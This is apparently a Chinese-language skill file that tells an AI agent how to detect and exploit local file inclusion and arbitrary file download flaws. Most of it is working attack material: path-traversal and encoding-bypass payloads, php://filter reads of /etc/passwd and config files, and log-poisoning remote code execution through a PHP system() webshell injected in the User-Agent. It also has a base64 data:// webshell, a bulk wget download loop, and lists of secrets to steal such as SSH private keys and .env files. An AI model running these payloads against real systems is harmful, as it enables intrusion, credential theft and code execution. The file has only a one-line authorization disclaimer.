원클릭으로
exploit-file-download
// 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。
// 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。
| name | exploit-file-download |
| description | 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。 |
本 Skill 仅用于授权安全测试。使用前请确保:
未经授权的渗透测试是非法行为。
本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。
注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。
自动识别以下 LFI 特征:
include() 或require() 的文件路径../ 序列用于遍历目录php://filter、php://input 等%00 空字节可能绕过扩展名检查| 类型 | Payload | 适用场景 |
|---|---|---|
| 文件包含 | ?title=index.php | 简单文件包含测试 |
| 路径遍历 | ?title=../../../../etc/passwd | Linux 目录遍历 |
| 伪协议 | ?title=php://filter/convert.base64-encode/resource=/etc/passwd | 读取敏感文件源码 |
| Windows 路径 | ?title=C:\\Windows\\win.ini | Windows 文件读取 |
| URL 编码 | ?title=%2e%2e%2f%2e%2e%2fetc/passwd | 绕过简单过滤 |
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# wget - 文件下载工具(通常已预装)
# macOS
brew install wget
# Ubuntu/Debian
apt-get install wget
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt
# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"
# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-t 50 \
-o lfi_results.txt
# 使用 wget 批量下载
while read path; do
wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"
# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"
# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"
# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"
| 场景 | 推荐工具 | 命令示例 |
|---|---|---|
| 快速单点测试 | curl | curl "URL?file=../etc/passwd" |
| 批量 Payload 测试 | ffuf | ffuf -u URL -w payloads.txt |
| 文件下载保存 | wget | wget -O output.txt "URL" |
| 目录深度枚举 | 自定义脚本 | 见下方深度测试脚本 |
| 响应内容分析 | grep/diff | grep -i "root:x:0" response.txt |
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
# 系统用户信息
/etc/passwd
/etc/shadow # 需要 root 权限
/etc/group
/etc/sudoers
# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ
# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts
# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php
# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|---|---|---|
| curl | wget | wget -qO- "URL" 等同于curl -s "URL" |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
| curl + grep | httpx + nuclei | 使用 nuclei LFI 模板 |
references/lfi_techniques.md - LFI 完整技术详解references/php_wrappers.md - PHP wrapper 参考references/bypass_techniques.md - 编码和过滤绕过references/rce_methods.md - 远程代码执行汇总发现 LFI 漏洞后,可以存储到数据库:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
最后更新: 2026-03-05 版本: 2.0
按照标准格式生成渗透测试报告,包含项目信息表、漏洞发现清单、漏洞详情(含属性表、描述、复现步骤、证据截图、修复建议)、附录(风险等级定义、CVSS说明、词汇表)。当用户要求生成渗透测试报告、安全测试报告、漏洞报告时使用此技能。严格遵循项目模板目录中的标准格式。
本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。
Arbitrary file download vulnerability detection and exploitation using path traversal techniques, bypass methods, and sensitive file discovery. Use this skill when user needs to test for file download vulnerabilities, path traversal, or read sensitive files on target systems.
SQL injection detection and exploitation using sqlmap, manual techniques, and custom payloads. Use this skill when user needs to test for SQL injection vulnerabilities, extract database information, or exploit SQLi in parameters, headers, or cookies.
Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
Directory and file enumeration using ffuf, gobuster, dirsearch, and feroxbuster. Use this skill when user needs to discover hidden directories, enumerate files, find backup files, or map application structure through path fuzzing.